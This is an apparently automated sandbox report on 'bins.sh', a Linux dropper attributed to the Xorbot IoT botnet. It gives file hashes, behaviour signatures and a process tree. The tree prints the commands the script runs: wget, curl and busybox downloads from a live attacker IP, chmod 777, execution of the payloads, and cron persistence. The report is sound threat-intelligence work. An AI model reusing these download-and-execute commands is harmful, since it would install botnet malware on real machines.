Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    01/03/2025, 10:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fcba5a159c1d4a387e0b6d819ab82b13

  • SHA1

    aa69a7ab7c5829823641342bec0e3ad9f6fed0eb

  • SHA256

    4e0b27339e784ecfec59332890bec0c7cd664b60416f61c9fef79d936e12d173

  • SHA512

    87a1081d1536779e44642d1951eca3e1ff3ba1fc4a333b5442c12b6fdb02b0bfff290503e160f6b95e20be6f7e007cbc9b331c7cf6ed0670cdb147c2f54b7d94

  • SSDEEP

    192:SKmamvfi3B3F3x3+3e3c04kJpga5k5M5uFpY9Hvva22jXv73Q1MA+L3LTLzm+3Hy:SKmamvfi3B3F3x3+3e3c04kJpgamCJ9R

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1798) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1472
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1473
      • /usr/bin/wget
        wget http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:1474
      • /usr/bin/curl
        curl -O http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:1496
      • /bin/busybox
        /bin/busybox wget http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:1497
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:1498
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:1499
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:1501
          • /usr/bin/wget
            wget http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:1502
          • /usr/bin/curl
            curl -O http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:1503
          • /bin/busybox
            /bin/busybox wget http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:1504
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:1505
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:1506
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:1508
              • /usr/bin/wget
                wget http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:1509
              • /usr/bin/curl
                curl -O http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:1510
              • /bin/busybox
                /bin/busybox wget http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:1511
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:1512
              • /usr/bin/crontab
                crontab -l
                2⤵
                  PID:1516
                • /usr/bin/crontab
                  crontab -
                  2⤵
                  • Creates/modifies Cron job
                  PID:1518
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:1520
                  • /usr/bin/wget
                    wget http://37.44.238.92/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:1523

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                    Filesize

                    117KB

                    MD5

                    849fa04ef88a8e8de32cb2e8538de5fe

                    SHA1

                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                    SHA256

                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                    SHA512

                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                  • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                    Filesize

                    99KB

                    MD5

                    9438d9bc392bcf300a5583b6df5bc8f6

                    SHA1

                    375a6ae34b516f6f3eeea8030c4084f585017efa

                    SHA256

                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                    SHA512

                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                  • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                    Filesize

                    107KB

                    MD5

                    eb9c3a0de91fcf16ba17cb24608df68c

                    SHA1

                    09d95a7d70d5e115d103be51edff7c498d272fac

                    SHA256

                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                    SHA512

                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                  • /var/spool/cron/crontabs/tmp.x5vAMB

                    Filesize

                    210B

                    MD5

                    b0c90b076991325439b505ba48933cf9

                    SHA1

                    f30da7230dda25323a39c0984cde1ec7725222aa

                    SHA256

                    29d27ad70da5cfa8049747eb15d7b54332b0d105b4714c354e8d3ef188e57e86

                    SHA512

                    f989b9c69496f39405d3eaf27a3f998b9cae85d4cd84259ed39c2a009e6691ec664dc5327bcd44a35adc5bdbf2382d9a1ed1fb83585da3393078114d3aa7d31b